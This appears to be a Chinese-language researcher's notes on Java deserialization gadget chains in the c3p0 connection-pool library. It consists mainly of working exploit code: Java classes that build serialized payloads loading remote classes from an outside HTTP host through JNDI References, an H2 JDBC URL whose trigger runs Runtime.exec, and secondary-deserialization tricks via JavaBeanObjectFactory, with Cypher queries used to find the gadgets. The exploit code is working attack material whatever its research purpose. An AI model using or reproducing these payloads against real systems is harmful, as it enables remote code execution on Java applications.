随便写的,随便看看
MATCH path=(:Method {NAME: "readObject"})
-[:CALL|ALIAS*1..2]->(:Method {NAME: "getObject"})
-[:CALL|ALIAS*2..3]->(m2:Method )
WHERE m2.NAME IN ["lookup", "getObjectInstance", "newInstance"]
RETURN path
package org.unam4.jdkser;
import org.unam4.utils;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.ldap.LdapName;
import java.util.Hashtable;
public class jndiRefDataSourceBase {
public static void main(String[] args) throws Exception {
//可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class,Reference可直接指向自己的com.mchange.v2.naming.JavaBeanObjectFactory去调用stter触发c3p0二次反序列化
Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
utils.setFieldValue(o, "reference", reference);
//contextName为空的时候,不走jndi,去走reference流程。
utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
//配置context的信息
utils.setFieldValue(o, "env", env);
Object base = utils.createWithoutConstructor("com.mchange.v2.c3p0.impl.JndiRefDataSourceBase");
utils.setFieldValue(base, "jndiName", o);
byte[] serialize = utils.serialize(base);
utils.unserialize(serialize);
}
}
package org.unam4.jdkser;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.unam4.utils;
import javax.naming.*;
import javax.naming.ldap.LdapName;
import java.io.*;
import java.util.Hashtable;
public class WrappeDataSource {
public static void main(String[] args) throws Exception {
renewfied ();
WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();
//可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class
Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
utils.setFieldValue(o, "reference", reference);
//contextName为空的时候,不走jndi,去走reference流程。
utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
//配置context的信息
utils.setFieldValue(o, "env", env);
utils.setFieldValue(wrapperConnectionPoolDataSource, "nestedDataSource", o);
ByteOutputStream stream = new ByteOutputStream();
ObjectOutputStream objectInputStream = new ObjectOutputStream(stream);
objectInputStream.writeObject(wrapperConnectionPoolDataSource);
// byte[] serialize = utils.serialize(base);
// FileOutputStream fileOutputStream = new FileOutputStream("c3p0.ser");
// fileOutputStream.write(serialize);
// fileOutputStream.close();
utils.unserialize(stream.toByteArray());
}
private static void renewfied (){
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase");
CtField connectionPoolDataSourceField = ctClass.getDeclaredField("nestedDataSource");
ctClass.removeField(connectionPoolDataSourceField);
CtField newField = CtField.make("private java.lang.Object nestedDataSource;", ctClass);
ctClass.addField(newField);
for (CtMethod method : ctClass.getDeclaredMethods()) {
if (method.getName().contains("nestedDataSource") || method.getName().contains("writeObject") ) {
ctClass.removeMethod(method);
}
}
CtMethod writeobj = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream var1) throws java.io.IOException {var1.writeShort(1);var1.writeInt(this.acquireIncrement);var1.writeInt(this.acquireRetryAttempts);var1.writeInt(this.acquireRetryDelay);var1.writeBoolean(this.attemptResurrectOnCheckin);var1.writeBoolean(this.autoCommitOnClose);var1.writeObject(this.automaticTestTable);var1.writeBoolean(this.breakAfterAcquireFailure);var1.writeInt(this.checkoutTimeout);var1.writeObject(this.connectionCustomizerClassName);var1.writeInt(this.connectionIsValidTimeout);var1.writeObject(this.connectionTesterClassName);var1.writeObject(this.contextClassLoaderSource);var1.writeBoolean(this.debugUnreturnedConnectionStackTraces);var1.writeObject(this.factoryClassLocation);var1.writeBoolean(this.forceIgnoreUnresolvedTransactions);var1.writeBoolean(this.forceSynchronousCheckins);var1.writeObject(this.identityToken);var1.writeInt(this.idleConnectionTestPeriod);var1.writeInt(this.initialPoolSize);var1.writeObject(this.markSessionBoundaries);var1.writeInt(this.maxAdministrativeTaskTime);var1.writeInt(this.maxConnectionAge);var1.writeInt(this.maxIdleTime);var1.writeInt(this.maxIdleTimeExcessConnections);var1.writeInt(this.maxPoolSize);var1.writeInt(this.maxStatements);var1.writeInt(this.maxStatementsPerConnection);var1.writeInt(this.minPoolSize);var1.writeObject(this.nestedDataSource);}", ctClass);
ctClass.addMethod(writeobj);
ctClass.writeFile();
ctClass.toClass(Thread.currentThread().getContextClassLoader());
} catch (Exception e) {
e.printStackTrace();
}
}
}
package org.unam4.jdkser;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.unam4.utils;
import javax.naming.*;
import javax.naming.ldap.LdapName;
import java.util.Hashtable;
public class poolbackedDataSourceBase {
public static void main(String[] args) throws Exception {
renewfied ();
//可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class
Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
utils.setFieldValue(o, "reference", reference);
//contextName为空的时候,不走jndi,去走reference流程。
utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
//配置context的信息
utils.setFieldValue(o, "env", env);
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(true);
utils.setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",o);
byte[] serialize = utils.serialize(poolBackedDataSourceBase);
utils.unserialize(serialize);
}
private static void renewfied (){
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
CtField connectionPoolDataSourceField = ctClass.getDeclaredField("connectionPoolDataSource");
ctClass.removeField(connectionPoolDataSourceField);
CtField newField = CtField.make("private java.lang.Object connectionPoolDataSource;", ctClass);
ctClass.addField(newField);
for (CtMethod method : ctClass.getDeclaredMethods()) {
if (method.getName().contains("ConnectionPoolDataSource") || method.getName().contains("writeObject") ) {
ctClass.removeMethod(method);
}
}
CtMethod writeobj = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream var1) throws java.io.IOException {var1.writeShort(1); var1.writeObject(this.connectionPoolDataSource);}", ctClass);
ctClass.addMethod(writeobj);
ctClass.writeFile();
ctClass.toClass(Thread.currentThread().getContextClassLoader());
} catch (Exception e) {
e.printStackTrace();
}
}
}
MATCH path=(source:Method {NAME:"getConnection", PARAMETER_SIZE:0, RETURN_TYPE:"java.sql.Connection"})<-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]->(cls1:Class)
WHERE cls1.NAME = "java.io.Serializable"
WITH path, [node IN nodes(path) WHERE node.IS_ABSTRACT = true ] AS abstractNodes
RETURN path
一共有查询出6个
com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource
com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource
com.mchange.v2.c3p0.debug.CloseLoggingComboPooledDataSource
com.mchange.v2.c3p0.DriverManagerDataSource
com.mchange.v1.db.sql.DriverManagerDataSource
com.mchange.v2.c3p0.JndiRefForwardingDataSource
其中AbstractPoolBackedDataSource是抽象类,其中第一和第三个也是AbstractPoolBackedDataSource的子类,且有相应实现。子类在没有getconntion时会调用父类的方法。所以还有几个类也可用来构造jdbc攻击。
com.mchange.v2.c3p0.PoolBackedDataSource
com.mchange.v2.c3p0.debug.ConstructionLoggingComboPooledDataSource
com.mchange.v2.c3p0.ComboPooledDataSource
如此,我们有除去.Abstract 还有8个类可以用来构造jdbc攻击。
com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource
PoolBackedDataSource的链就是调用了JndiRefConnectionPoolDataSource,也就是可以拆出来。
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
同理WrapperConnectionPoolDataSource本质调用JndiRefForwardingDataSource,他也可以拿出来。
以上就有10个类触发getter 攻击利用链。
package org.unam4.jdbc;
import com.mchange.v2.c3p0.*;
import com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource;
import com.mchange.v2.c3p0.debug.CloseLoggingComboPooledDataSource;
import com.mchange.v2.c3p0.debug.ConstructionLoggingComboPooledDataSource;
import org.unam4.utils;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.ldap.LdapName;
import java.lang.reflect.Method;
import java.util.Hashtable;
public class jdbc {
private static String jdbcUrl ="jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('open .')\n" +
"$$\n";
private static String jdni = "ldap://127.0.0.1:80/Object";
public static void main(String[] args) throws Exception {
jdbc jdbc = new jdbc();
ComboPooledDataSource comboPooledDataSource = jdbc.comboPooledDataSource();
comboPooledDataSource.getConnection();
}
public void setJdbcUrl (String jdbcUrl) {
this.jdbcUrl = jdbcUrl;
}
public void setJdni (String jdni) {
this.jdni = jdni;
}
public ComboPooledDataSource comboPooledDataSource () {
ComboPooledDataSource dataSource1 = new ComboPooledDataSource();
dataSource1.setJdbcUrl(jdbcUrl);
return dataSource1;
}
public AfterCloseLoggingComboPooledDataSource afterCloseLoggingComboPooledDataSource (){
AfterCloseLoggingComboPooledDataSource dataSource2 = new AfterCloseLoggingComboPooledDataSource();
dataSource2.setJdbcUrl(jdbcUrl);
return dataSource2;
}
public CloseLoggingComboPooledDataSource closeLoggingComboPooledDataSource (){
CloseLoggingComboPooledDataSource dataSource3 = new CloseLoggingComboPooledDataSource();
dataSource3.setJdbcUrl(jdbcUrl);
return dataSource3;
}
public ConstructionLoggingComboPooledDataSource constructionLoggingComboPooledDataSource (){
ConstructionLoggingComboPooledDataSource dataSource4 = new ConstructionLoggingComboPooledDataSource();
dataSource4.setJdbcUrl(jdbcUrl);
return dataSource4;
}
public DriverManagerDataSource driverManagerDataSource (){
com.mchange.v2.c3p0.DriverManagerDataSource dataSource5 = new com.mchange.v2.c3p0.DriverManagerDataSource();
dataSource5.setJdbcUrl(jdbcUrl);
return dataSource5;
}
public com.mchange.v1.db.sql.DriverManagerDataSource driverManagerDataSource2 (){
com.mchange.v1.db.sql.DriverManagerDataSource dataSource6 = new com.mchange.v1.db.sql.DriverManagerDataSource(jdbcUrl,"","");
return dataSource6;
}
public Object jndiRefForwardingDataSource () throws Exception{
Object dataSource7 = utils.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
utils.setFieldValue(dataSource7,"jndiName",jdni);
return dataSource7;
}
public JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource () throws Exception{
JndiRefConnectionPoolDataSource dataSource8 = new JndiRefConnectionPoolDataSource();
dataSource8.setJndiName(jdni);
return dataSource8;
}
public PoolBackedDataSource poolBackedDataSource () throws Exception{
JndiRefConnectionPoolDataSource dataSource8 = new JndiRefConnectionPoolDataSource();
dataSource8.setJndiName(jdni);
PoolBackedDataSource dataSource9 = new PoolBackedDataSource();
dataSource9.setConnectionPoolDataSource(dataSource8);
return dataSource9;
}
public Object wrapperConnectionPoolDataSource () throws Exception{
Object o = utils.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
utils.setFieldValue(o, "jndiName", jdni);
WrapperConnectionPoolDataSource dataSource10 = new WrapperConnectionPoolDataSource();
utils.setFieldValue(dataSource10,"nestedDataSource",dataSource10);
return dataSource10;
}
}
Reference reference = new Reference("calculator", "calculator", "http://127.0.0.1:8080/");
Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
utils.setFieldValue(o, "reference", reference);
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
utils.setFieldValue(o, "env", env);
反序列化二
获取传入class的所有PropertyDescriptors, 然后遍历,如果reference有PropertyDescriptors的值,在判断是string还是byte,是byte就是直接进行反序列化还原对象。
二次反序列化
byte[] bytes = Files.readAllBytes(Paths.get("PoolBackedDataSourceBase"));
Reference reference1 = new Reference("com.mchange.v2.naming.JavaBeanObjectFactory", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
reference1.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY",bytes));
Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
utils.setFieldValue(o, "reference", reference1);
Reference reference = new Reference("com.mchange.v2.c3p0.JndiRefForwardingDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
reference.add(new BinaryRefAddr("jndiName", Files.readAllBytes(Paths.get("PoolBackedDataSourceBase"))));
在他调用getObject进行触发。
不给源码了,改springmvc需要jdk9以上,因为jdk9才映入moudile
二次反序列化
package org.unam4.getobj;
import com.sun.org.apache.xerces.internal.impl.dv.util.HexBin;
import org.unam4.utils;
import javax.naming.BinaryRefAddr;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.ldap.LdapName;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class javaBeanObjectFactory {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("PoolBackedDataSourceBase"));
String exp = "HexAsciiSerializedMap:"+ HexBin.encode(bytes)+";";
Reference reference = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
reference.add(new StringRefAddr("userOverridesAsString",exp));
Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
utils.setFieldValue(o, "reference", reference);
Object base = utils.createWithoutConstructor("com.mchange.v2.c3p0.impl.JndiRefDataSourceBase");
utils.setFieldValue(base, "jndiName", o);
byte[] serialize = utils.serialize(base);
utils.unserialize(serialize);
}
}